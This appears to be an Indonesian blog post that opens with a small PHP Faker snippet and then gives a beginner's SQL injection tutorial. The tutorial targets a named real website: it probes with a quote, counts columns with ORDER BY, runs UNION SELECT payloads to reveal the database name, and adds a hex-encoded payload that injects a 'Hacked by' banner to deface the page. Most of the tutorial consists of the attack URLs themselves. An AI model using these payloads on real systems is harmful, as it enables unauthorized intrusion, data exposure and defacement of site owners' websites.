<?php
// Jika mendownload faker dengan composer
require_once 'vendor/autoload.php';
// inisialisasi faker
$faker = Faker\Factory::create('id_ID');
for($a=0; $a<10; $a++){
// generate data nama, alamat
echo $faker->name;
echo "<br>";
echo $faker->address;
echo "<br> <br>";
}
?>
dan hasilnya seperti ini
========================================
Sekarang lanjut ke SQL Injection , setelah pembahasan tentang databases dan SQL
SQL injection sendiri adalah suatu bug dengan cara menyuntikan Perintah sql ke website
celah Bug SQL sendiri memiliki tingkat resiko Severity Critical (Berbahaya), kenapa tingkatnya berbahaya ? ya seperti sebelumnya, jika terjadi kebocoran data di dalam databases, itu sudah sulit.
Nah untuk itu, saya akan memberikan tutorial SQL Injection Bagi Pemula dengan basicnya saja (Belum Dump Database, Colomn dan Table)
Bug : SQL Injection
Risk : >=6.x
Remote : No
Local File : No
Upload Shell : No
NOTE : karena di artikel ini baru hanya memberikan tutorial basicnya...
Persiapan :
1. Internet
2. OS
3. Brainware (Pengguna)
4. Hardware
5. Target
6. Kopi :V
7. Dios (bisa pake dios gw)
execute :
note : Karena disini saya sudah mendapatkan target, jadi target saya aja ya :)
2. Setelah itu taro tanda ' pada akhir url, maka nanti akan muncul error seperti ini
3. setelah itu kita tulis order by sampai muncul error , dimulai dari order by 1
http://www.minddesign.co.uk/show.php?id=239%27+order+by+1--+-
http://www.minddesign.co.uk/show.php?id=239%27+order+by+2--+-
http://www.minddesign.co.uk/show.php?id=239%27+order+by+3--+-
http://www.minddesign.co.uk/show.php?id=239%27+order+by+4--+-
dan seterusnya, pada order by 17 akan error, maka kita berhenti di sebelum error yaitu 16
http://www.minddesign.co.uk/show.php?id=239%27+order+by+16--+-
www.minddesign.co.uk/show.php?id=239%27+order+by+17--+-
4. setelah itu tulis union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 , karena 17 error
http://www.minddesign.co.uk/show.php?id=239%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+-
5. kita harus menemukan angka Togelnya maka kita tambahkan - pada parameter
www.minddesign.co.uk/show.php?id=-239'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+-
artinya kolom kerentanan ada pada nomor 4
6. kita akan coba command database() pada union select 4
contoh : http://www.minddesign.co.uk/show.php?id=-239%27+union+select+1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16--+-
maka nanti akan muncul nama database dari websitenya
database tersebut bernama jacobs_mddata
and booom, nama databses terungkap (nanti kita lanjutkan ke tingkat berikutnya dengan target berbeda)
bonus : jika anda ingin menaro nama di webnya anda tinggal ke ascii to text
setelah itu masukan kode html, saya menggunakan ini <h1> Hacked by Xnuvers007 </h1> ubah dari text to ascii maka akan menampilkan angka, salin angkanya lalu gabungkan agar tidak terpisah
before : 3C 68 31 3E 20 48 61 63 6B 65 64 20 62 79 20 58 6E 75 76 65 72 73 30 30 37 20 3C 2F 68 31 3E
after : 3C68313E204861636B656420627920586E7576657273303037203C2F68313E
setelah itu tambahkan concat(0xMasukanAngkaAsciinya) contoh:
http://www.minddesign.co.uk/show.php?id=-239%27+union+select+1,2,3,concat(0x3C68313E204861636B656420627920586E7576657273303037203C2F68313E),5,6,7,8,9,10,11,12,13,14,15,16--+-
sekian tutorial sql injection dari saya, terimakasih sudah mengunjungi
atau jika kalian malas untuk ascii to text, bisa salin dios dari saya
Wassalamualaikum Wr. Wb.
Salam Penutup Bagi Semua
========================================